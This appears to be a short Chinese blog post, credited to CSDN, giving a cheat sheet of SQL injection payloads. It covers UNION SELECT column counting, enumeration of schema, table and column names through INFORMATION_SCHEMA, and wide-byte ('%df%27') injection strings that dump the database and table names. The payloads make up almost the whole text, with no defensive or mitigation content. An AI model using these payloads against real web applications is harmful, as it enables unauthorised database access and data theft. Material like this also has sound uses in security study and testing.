sql注入语句简单总结
0 'union select 1,2,3……………… # 到几时失败的前一个就是列数,比如1,2,3,4时不报错,加个5报错那么说明有4列 ' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #爆数据库名,表名 获取news 表的字段名,数据类型: ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'# news是表名 宽字节注入: 爆库名: id=%df%27 and 1=2 union select 2,database()%23 爆表名: id=%df%27 and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23 来源: CSDN 作者: ~何止~ 链接: https://blog.csdn.net/weixin_43900387/article/details/104077329